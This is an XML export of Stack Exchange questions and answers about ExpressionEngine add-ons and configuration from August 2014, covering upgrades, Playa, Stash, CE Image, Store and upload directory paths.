  <row Id="25006" PostTypeId="2" ParentId="25005" CreationDate="2014-08-11T08:22:32.160" Score="1" Body="&lt;p&gt;In Admin-&gt;Channels, click &quot;Edit preferences&quot; on the channel you want to change. There's an option in there for the default entry status.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-08-11T08:22:32.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25009" PostTypeId="1" CreationDate="2014-08-11T08:57:24.257" Score="0" ViewCount="160" Body="&lt;p&gt;I have a client site on EE 2.5.3 platform and Solspace Calendar 1.7.0. Obviously this should be upgraded, but when I try to upgrade to EE 2.9.0 the whole thing stops around version 2.6-2.7 with this error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Database Error Occurred&#xA;Error Number: 1054&#xA;Unknown column 'protect_javascript' in 'field list'&#xA;UPDATE &lt;code&gt;exp_templates&lt;/code&gt; SET &lt;code&gt;template_id&lt;/code&gt; = '33', &lt;code&gt;site_id&lt;/code&gt; = '1', &lt;code&gt;group_id&lt;/code&gt; = '4', &lt;code&gt;template_name&lt;/code&gt; = 'edit', &lt;code&gt;save_template_file&lt;/code&gt; = 'n', &lt;code&gt;template_type&lt;/code&gt; = 'webpage', &lt;code&gt;template_data&lt;/code&gt; = '{embed=\&quot;calendar_inc/index\&quot; page_title=\&quot;Edit Event\&quot;}\n\n\n{exp:calendar:datepicker_js}\n{exp:calendar:datepicker_css}\n\n\n{embed=\&quot;calendar_inc/header\&quot;}\n\n&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm unable to log on after this error, and have to restore both site and database from backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: what is the recommended approach to upgrade both EE and Calendar here? The latest version of Calendar (1.8.9) requires EE 2.6, but upgrading of EE from v. 2.5.3 stops and breaks on the old Calendar module (1.7.0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I have been clear – and that someone can point me in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="3461" LastActivityDate="2017-05-29T15:28:48.127" Title="Trouble upgrading" Tags="|ee2|solspace-calendar|ee2-upgrades|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="25010" PostTypeId="2" ParentId="21464" CreationDate="2014-08-11T09:16:11.237" Score="1" Body="&lt;p&gt;Admittedly it's a few months late but I too was having this issue. It's caused by Store loading it's JS into the body tag before the page has finished loading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fix is to wrap it in a document.ready function. This is on line 159 of AbstractTag.php which can be found in &lt;code&gt;third_party/store/src/Store/Tag&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So replace&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return '&#xA;(function() {&#xA;    ExpressoStore.config = '.$this-&amp;gt;ee-&amp;gt;store-&amp;gt;config-&amp;gt;config_json().';&#xA;    if (!ExpressoStore.scriptElement) {&#xA;        var script = ExpressoStore.scriptElement = document.createElement(&quot;script&quot;);&#xA;        script.type = &quot;text/javascript&quot;; script.async = true;&#xA;        script.src = &quot;'.$theme_url.'&quot;;&#xA;        document.getElementsByTagName(&quot;body&quot;)[0].appendChild(script);&#xA;    }&#xA;})();';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return '&#xA;$(document).ready(function() {&#xA;    (function() {&#xA;        ExpressoStore.config = '.$this-&amp;gt;ee-&amp;gt;store-&amp;gt;config-&amp;gt;config_json().';&#xA;        if (!ExpressoStore.scriptElement) {&#xA;            var script = ExpressoStore.scriptElement = document.createElement(&quot;script&quot;);&#xA;            script.type = &quot;text/javascript&quot;; script.async = true;&#xA;            script.src = &quot;'.$theme_url.'&quot;;&#xA;            document.getElementsByTagName(&quot;body&quot;)[0].appendChild(script);&#xA;        }&#xA;    })();&#xA;});';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it should fix the issue.&lt;/p&gt;&#xA;" OwnerUserId="2416" LastActivityDate="2014-08-11T09:16:11.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25011" PostTypeId="2" ParentId="25009" CreationDate="2014-08-11T10:35:25.383" Score="0" Body="&lt;p&gt;I think this is going to be difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps the best way to approach it would be to update EE from 1.7.0 to an early version of 2. Then upgrade calendar and ensure it's working. Only then try to upgrade to the more recent version of EE.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-08-11T10:35:25.383" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25012" PostTypeId="1" CreationDate="2014-08-11T10:43:11.467" Score="0" ViewCount="94" Body="&lt;p&gt;My site has events. members can apply for an event. I want to prevent them applying more than one time for an event to prevent duplicates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My set up is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;channel event&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;2 channels for accreditation (internal and external) with the same field group attached, one of these fields is a playa field with the events. My registered visitors apply to these events with a safecracker form.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So in my template i want to see if the current user has allready made an entry in the accreditation channels by using the playa:parent_ids tag. However, this is not returning anything. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parent_ids channel=&quot;external_accreditation|accreditation&quot; show_expired=&quot;true&quot; show_future_entries=&quot;true&quot; status=&quot;Open|Pending|Accepted&quot; field=&quot;acc_rel_event&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have playa links installed on my system, and that addon does return the proper parents: &lt;img src=&quot;https://i.stack.imgur.com/h5J88.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or am i trying to do this in an overly complex way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my complete test template, where the child stuff is outputting, only the parent stuff is not: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}{redirect=''}{/if}&#xA;{embed='_partials/.template'}&#xA;{exp:channel:entries&#xA;    channel='event'&#xA;    limit='1'&#xA;    dynamic='no'&#xA;    url_title='mvv-sparta-rotterdam'&#xA;}&#xA;    {exp:stash:set}&#xA;        {stash:pagetitle}{title}{/stash:pagetitle}&#xA;        {stash:pagecontent}&#xA;            &amp;lt;div&amp;gt;&#xA;            entry_id: {entry_id} - channel short name: {channel_short_name} url_title: {url_title}&amp;lt;br&amp;gt;&#xA;            total parents: &#xA;            {exp:playa:total_parents channel=&quot;external_accreditation|accreditation&quot; show_expired=&quot;true&quot; show_future_entries=&quot;true&quot; status=&quot;Open|Pending|Accepted&quot;}&amp;lt;br&amp;gt;&#xA;            parent_ids: &#xA;            {exp:playa:parent_ids channel=&quot;external_accreditation|accreditation&quot; show_expired=&quot;true&quot; show_future_entries=&quot;true&quot; status=&quot;Open|Pending|Accepted&quot;}&amp;lt;br&amp;gt;&#xA;            child_ids: &#xA;            {exp:playa:child_ids channel=&quot;external_accreditation|accreditation&quot; status=&quot;Open|Pending|Accepted&quot;}&amp;lt;br&amp;gt;&#xA;            playa:parents: &#xA;            {exp:playa:parents channel=&quot;external_accreditation|accreditation&quot; status=&quot;Open|Pending|Accepted&quot; var_prefix=&quot;acc&quot;}&#xA;            {acc:entry_id}&#xA;            {/exp:playa:parents}&amp;lt;br&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/stash:pagecontent}&#xA;    {/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="215" LastEditorUserId="215" LastEditDate="2014-08-11T20:01:38.223" LastActivityDate="2014-08-11T20:01:38.223" Title="playa not returning parents" Tags="|playa|pixelandtonic|parent|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25013" PostTypeId="1" CreationDate="2014-08-11T11:46:28.557" Score="0" ViewCount="102" Body="&lt;p&gt;I'm trying to develop an expressionengine extension which uses &quot;publish_form_entry_data&quot; hook to change some default features such as customized datepicker , etc. problem is it works perfectly in the publish new entry form , but when I tried to edit my existing entries it redirect me to the publish new entry page , and won't get me to edit entry page with the entry values for editing! &#xA;is there any other hooks for this purpose? or should I pass some info for editing existing entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the code for activating the extension : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function activate_extension() {&#xA;    $hooks = array(&#xA;        'publish_form_entry_data'   =&amp;gt;  'main',&#xA;        'update_multi_entries_start' =&amp;gt;  'main',&#xA;        'entry_submission_start'    =&amp;gt;  'dataProcess'&#xA;    );&#xA;    foreach($hooks as $hook =&amp;gt; $method){&#xA;        $data = array(&#xA;            'class'    =&amp;gt; __CLASS__,&#xA;            'method'   =&amp;gt; $method,&#xA;            'hook'     =&amp;gt; $hook,&#xA;            'priority' =&amp;gt; 10,&#xA;            'version'  =&amp;gt; $this-&amp;gt;version,&#xA;            'enabled'  =&amp;gt; 'y'&#xA;        );&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert('extensions', $data);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here is the method for the publish_form_entry_data hook : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function main(){&#xA;    $this-&amp;gt;persianDatePicker();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3411" LastEditorUserId="3411" LastEditDate="2014-08-12T05:39:11.377" LastActivityDate="2016-05-18T02:11:20.930" Title="problem with publish_form_entry_data expressionengine hook" Tags="|hook|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25014" PostTypeId="2" ParentId="24892" CreationDate="2014-08-11T12:10:12.797" Score="1" Body="&lt;p&gt;For making work playa link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Double check you have selected a published entry.&lt;br&gt;&#xA;OR&lt;br&gt;&#xA;2) Open your playa field to edit (from Admin-&gt;Channel-&gt;Channel fields-&gt;select gallery to edit) and recheck settings and save field.&lt;br&gt;&lt;/p&gt;&#xA;" OwnerUserId="2696" LastActivityDate="2014-08-11T12:10:12.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25015" PostTypeId="2" ParentId="24862" CreationDate="2014-08-11T12:19:22.953" Score="1" Body="&lt;p&gt;Unfortunately this is bug in EE grid field. If you are passing invalid parameter for row_id=&quot;ABC@#4&quot; it will still show first row from grid.&lt;br&gt;&#xA;You can check $rowsId variable and set condition accordingly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;If ($rowsId == '-1') {&#xA;    echo &quot;No result to show&quot;;&#xA;} else{ ?&amp;gt;&#xA;    {profile row_id=&quot;&amp;lt;?php echo $rowsId; ?&amp;gt;&quot;}&#xA;        {profile:first_name}&amp;lt;br/&amp;gt;&#xA;        {profile:last_name}&amp;lt;br/&amp;gt;&#xA;        {profile:user_name}&amp;lt;br/&amp;gt;&#xA;        {profile:age}&amp;lt;hr&amp;gt;&#xA;   {/profile}&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2696" LastEditorUserId="2696" LastEditDate="2014-08-11T12:24:39.343" LastActivityDate="2014-08-11T12:24:39.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25016" PostTypeId="2" ParentId="24792" CreationDate="2014-08-11T12:43:35.947" Score="1" Body="&lt;p&gt;You need to create custom query and it is ee bug and did not work such for OR conditions.&#xA;Use custom query or query module and need to use join with channel and channel field and channel field data etc,&lt;/p&gt;&#xA;" OwnerUserId="3399" LastActivityDate="2014-08-11T12:43:35.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25017" PostTypeId="1" AcceptedAnswerId="25019" CreationDate="2014-08-11T15:47:08.387" Score="0" ViewCount="67" Body="&lt;p&gt;I have a php file that generates an image based on some parameters. But it doesn't seem like CE Image knows how to handle that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL looks something like this: &lt;code&gt;myimg.php?id=165&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's being served as an image: &lt;code&gt;header('Content-Type: image/jpeg');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When viewing it in the browser it shows the image like it's supposed to. It also works with the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt;-tag, so there's nothing wrong with the image.&lt;/p&gt;&#xA;" OwnerUserId="1990" LastActivityDate="2014-08-11T17:03:42.633" Title="Using CE Image on a php generated image" Tags="|ce-image|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25018" PostTypeId="2" ParentId="9191" CreationDate="2014-08-11T16:04:49.170" Score="0" Body="&lt;p&gt;I am having this same issue and have talked to P&amp;amp;T support about it. We isolated it down to a scenario in which the upload directory has a large number of images and the uploaded file falls somewhere below (out of range of) the images that are already displayed / loaded in the modal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I upload an image with a name that starts with 0 or A, the image is highlighted as you would expect and the add button is available because it falls in the range of the displayed files. Conversely, if the file name starts with Z or some letter / number that is not already displayed in the modal then the image is not selected and the add button is not available so you have to manually search for the file or click on &quot;Recently Uploaded.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may not be the case for you but I thought I'd share it for anyone else that may be experiencing this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I have found that if I use List View in Assets, and then sort by newest first, the problem is solved. To help with this, I set List View as the default in the Channel Field settings.&lt;/p&gt;&#xA;" OwnerUserId="135" LastEditorUserId="135" LastEditDate="2014-08-20T21:38:54.030" LastActivityDate="2014-08-20T21:38:54.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25019" PostTypeId="2" ParentId="25017" CreationDate="2014-08-11T16:39:13.933" Score="1" Body="&lt;p&gt;Since the source that is being passed into CE Image is not an actual image on the file system, you'll want CE Image to treat it as a remote image. You can accomplish that by using the parameter &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/parameters#force_remote&quot; rel=&quot;nofollow&quot;&gt;force_remote=&lt;/a&gt;&quot;y&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:singe src=&quot;http://example.com/myimg.php?id=165&quot; width=&quot;100&quot; force_remote=&quot;y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="936" LastEditorUserId="936" LastEditDate="2014-08-11T17:03:42.633" LastActivityDate="2014-08-11T17:03:42.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25020" PostTypeId="1" AcceptedAnswerId="25035" CreationDate="2014-08-11T17:10:06.257" Score="2" ViewCount="185" Body="&lt;p&gt;We would like to be able to perform a free text search using an author name and return all posts credited to that author, is this possible with Low Search?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-02-19T21:29:54.760" Title="Is there a way to use Low Search to return results by author?" Tags="|search|low-search|author|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25021" PostTypeId="2" ParentId="25002" CreationDate="2014-08-11T17:34:55.320" Score="1" Body="&lt;p&gt;Why don't you enable Captcha-s? This should prevent you from getting automated SPAM&lt;/p&gt;&#xA;" OwnerUserId="3433" LastActivityDate="2014-08-11T17:34:55.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25022" PostTypeId="2" ParentId="25020" CreationDate="2014-08-11T17:58:22.963" Score="1" Body="&lt;p&gt;I don't know if anything has changed in more recent versions, but Low himself suggested using Solspace's Preparse addon for cases like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/blog/searching-non-field-data-with-low-search&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/blog/searching-non-field-data-with-low-search&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1186" LastActivityDate="2014-08-11T17:58:22.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25023" PostTypeId="2" ParentId="24864" CreationDate="2014-08-11T18:42:16.537" Score="1" Body="&lt;p&gt;You can use the &lt;code&gt;match&lt;/code&gt; and &lt;code&gt;against&lt;/code&gt; parameters to filter a list by the value of one or more columns. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- set the list --}&#xA;{exp:stash:set_list name=&quot;groceries&quot;}&#xA;&#xA;   {stash:title}Cox Apple{/stash:title}&#xA;   {stash:color}green{/stash:color}&#xA;&#xA;   {stash:title}Jazz Apple{/stash:title}&#xA;   {stash:color}yellow{/stash:color}&#xA;&#xA;   {stash:title}Banana{/stash:title}&#xA;   {stash:color}yellow{/stash:color}&#xA;&#xA;   {stash:title}Brocoli{/stash:title}&#xA;   {stash:color}green{/stash:color}&#xA;&#xA;   {stash:title}Pepper{/stash:title}&#xA;   {stash:color}red{/stash:color}&#xA;&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- get all yellow groceries --}&#xA;{exp:stash:get_list name=&quot;groceries&quot; match=&quot;#^yellow$#&quot; against=&quot;color&quot;}&#xA;    {title},   &#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This page in the wiki has a more advanced example of the technique, uisng a custom index to match against multiple columns:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/Filtering%20lists%20with%20match%20against&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/Filtering%20lists%20with%20match%20against&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-08-11T18:42:16.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25024" PostTypeId="2" ParentId="24987" CreationDate="2014-08-11T18:46:08.180" Score="1" Body="&lt;p&gt;You need to make sure that the Store Product Detail field for your channel has &quot;allow user price&quot; enabled in its settings, then you simply need to pass a field named &lt;code&gt;price&lt;/code&gt; in your &lt;code&gt;store:product&lt;/code&gt; form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;price&quot; value=&quot;XX&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-08-11T18:46:08.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25025" PostTypeId="1" AcceptedAnswerId="25028" CreationDate="2014-08-11T20:54:12.843" Score="0" ViewCount="58" Body="&lt;p&gt;Attempting to customize the list of users displayed based upon a custom field in a channel entry.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:channel:entries channel=&quot;messages&quot;}&#xA;  {exp:user:users group_id=&quot;{member_groups backspace=&quot;1&quot;}{option_name}|{/member_groups}&quot;}&#xA;    {email} - {group_id}&#xA;  {/exp:user:users}&#xA;{/exp:channel:entries}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;The 'member_groups' custom field will output the chosen groups in this format...&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;group_id=&quot;7|8|9&quot;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;No matter what, I always get the logged in super admin account as a result. Is this possible with User or do I need to use a query here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would really prefer to not have to use an embed since I also need to this to work for sending email notifications when a new entry is posted to the messages channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2014-08-11T21:58:47.500" Title="Passing custom data to a user tag?" Tags="|members|solspace-user|member-management|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25026" PostTypeId="2" ParentId="24980" CreationDate="2014-08-11T21:00:28.827" Score="2" Body="&lt;p&gt;I assume you are using Store &gt; 2. If that is the case you would be making your own extension. Store has a default layout for these extensions available on github &lt;a href=&quot;https://github.com/expressodev/store_check&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you notice in the ext.store_check.php file, there are these lines.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // tell PHP where to find the gateway classes&#xA;    // Store will automatically include your files when they are needed&#xA;    $composer = require(PATH_THIRD.'store/autoload.php');&#xA;    $composer-&amp;gt;add('Omnipay', __DIR__);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would get all the files in your omipay folder and include them into this source. Working off of that assumption, you should (in theory) be able to call any ExpressionEngine api functions that are regularly available in an extension in your omnipay files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One precautionary note I'm going to mention is be careful of namespaces (if you are using any). Because those could throw off the function calls.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-08-11T21:00:28.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25028" PostTypeId="2" ParentId="25025" CreationDate="2014-08-11T21:58:47.500" Score="0" Body="&lt;p&gt;Pretty sure this will not work unless you use an embed. That said, I am not sure why using an embed would stop email notifications from working (though I do not know how and what you intend on setting that up with). I am also assuming {member_groups} is a custom channel field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;messages&quot;}&#xA;  {embed=&quot;path_to/embed&quot; member_groups=&quot;{member_groups backspace=&quot;1&quot;}{option_name}|{/member_groups}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Embedded template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:user:users group_id=&quot;{embed:member_groups}&quot;}&#xA;    {email} - {group_id}&#xA;  {/exp:user:users}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-08-11T21:58:47.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25029" PostTypeId="1" AcceptedAnswerId="25101" CreationDate="2014-08-11T22:05:03.583" Score="0" ViewCount="774" Body="&lt;p&gt;First off I apologise if this is the wrong SE community to post this on, however since it is the software package I use I hoped you guys could help me out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set up a couple of image upload directories for me to use, one being for static images used over the site and another for images relating to articles posted on the site. I currently have a custom directory set up for static images at &lt;code&gt;&amp;lt;root&amp;gt;/img/&amp;lt;imagename&amp;gt;&lt;/code&gt; which works perfectly fine when directly linked to in the template. However, this is not an ideal solution since I would need to manually manage images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem effects both upload directories and new ones, but I will refer to the directory used for the static images for convenience unless noted. The logo which is used in the custom directory was also uploaded to the new ExpressionEngine upload directory, however when it is accessed nothing will appear. Any links to the image will show up as the broken image icon, and opening the image link directly will just produce a blank screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;News article images are stored at &lt;code&gt;&amp;lt;root&amp;gt;/news/images/&amp;lt;newsimage&amp;gt;&lt;/code&gt;. At the same time news articles themselves are stored/displayed at &lt;code&gt;&amp;lt;root&amp;gt;/news/article/&amp;lt;channelcontent&amp;gt;&lt;/code&gt;. This suffers the same issue as the static image directory, however opening a direct link to one of the images will load up the news overview section of the site, the homepage of the /news/ section. In short, it effectively ignores the image and displays the news homepage instead, as the image below demonstrates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5xots.png&quot; alt=&quot;Screenshot showing images displaying incorrectly&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(the second black box at the bottom happens all the time, not just in this particular scenario).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see that while hotlinking to the image, I get redirected instead of showing an image. Below, you can also see that the images hotlinked alongside the articles do not display, instead showing a broken image icon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same issue does not occur just in the articles, but also in the editor!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TZWLq.png&quot; alt=&quot;Screenshot showing broken image in editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I instantly assumed it was a server permissions error, but following the guide I set the image and folder permissions to 755 and even 777, but the bug remains present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is the setup for the news image directory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Descriptive name: News Images&#xA;Server path of upload directory: /home/&amp;lt;hidden&amp;gt;/public_html/beta/img/news/&#xA;URL of upload directory: http://beta.bowl-of-soup.co.uk/news/images/&#xA;Images only&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is how it is used in the broken images above.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;10&quot;}&#xA;&amp;lt;hr /&amp;gt;&#xA;&amp;lt;h4&amp;gt;&amp;lt;img class=&quot;left&quot; src=&quot;{news_headimg:thumb}&quot;/&amp;gt;&amp;lt;a href=&quot;{url_title_path='news/article'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;i&amp;gt;A wonderful testing article by your adoring {author}&amp;lt;/i&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{news_headline}&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Removing :thumb makes no difference).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please can anyone help with this issue? I can provide more details happily as this issue is a blocker in the site development. I tried searching multiple solutions but none seemed to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine covers the whole site at , so please check it out to see the bug first-hand (advertising not intended - I'll switch off adverts until the issue is resolved).&lt;/p&gt;&#xA;" OwnerUserId="3465" LastActivityDate="2014-08-14T11:03:45.010" Title="File manager images not displaying, linking back to the main article" Tags="|image|channel-images|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25030" PostTypeId="1" CreationDate="2014-08-12T01:59:44.673" Score="1" ViewCount="41" Body="&lt;p&gt;I'm looking for a way to sell mp3 files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will digital product downloads work if they are hosted on amazon S3 hosting service?&lt;/p&gt;&#xA;" OwnerUserId="1332" LastActivityDate="2014-11-02T21:39:34.887" Title="Exp-resso store Amazon S3" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25031" PostTypeId="2" ParentId="25029" CreationDate="2014-08-12T02:15:00.147" Score="0" Body="&lt;p&gt;There is a setting in expressionengine to change the url path of images. This sounds like it may be your problem. If you go under Content -&gt; Files -&gt; File upload preferences, and you edit the file url path &quot;URL of Upload Directory&quot;. This is what is ExpressionEngine uses for the path of your images in your templates. If this is incorrect, then you get a broken image even if the files are in the incorrect path on your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your case, it looks like you need to change the URL of Upload Directory for that particular upload path to &quot;/news/images/&quot; without quotes.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-08-12T02:15:00.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25032" PostTypeId="1" CreationDate="2014-08-12T05:20:42.817" Score="0" ViewCount="42" Body="&lt;p&gt;Hopefully I'm missing something obvious but cannot get MX Maps to work with custom third party theme folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The module appears fine when using the config_override for: 'third_party_path' for modules but when I override 'theme_folder_path' + 'theme_folder_url' to custom folders - I get a JS error on front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mysite.com/themes/third_party/mx_google_map/mxgooglemap.js'&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other modules + extensions work fine with the override :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE:2.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MX Map: 1.5.3.140526&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-08-12T05:20:42.817" Title="Third party path MX Maps" Tags="|config-overrides|mx-google-map|themes|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
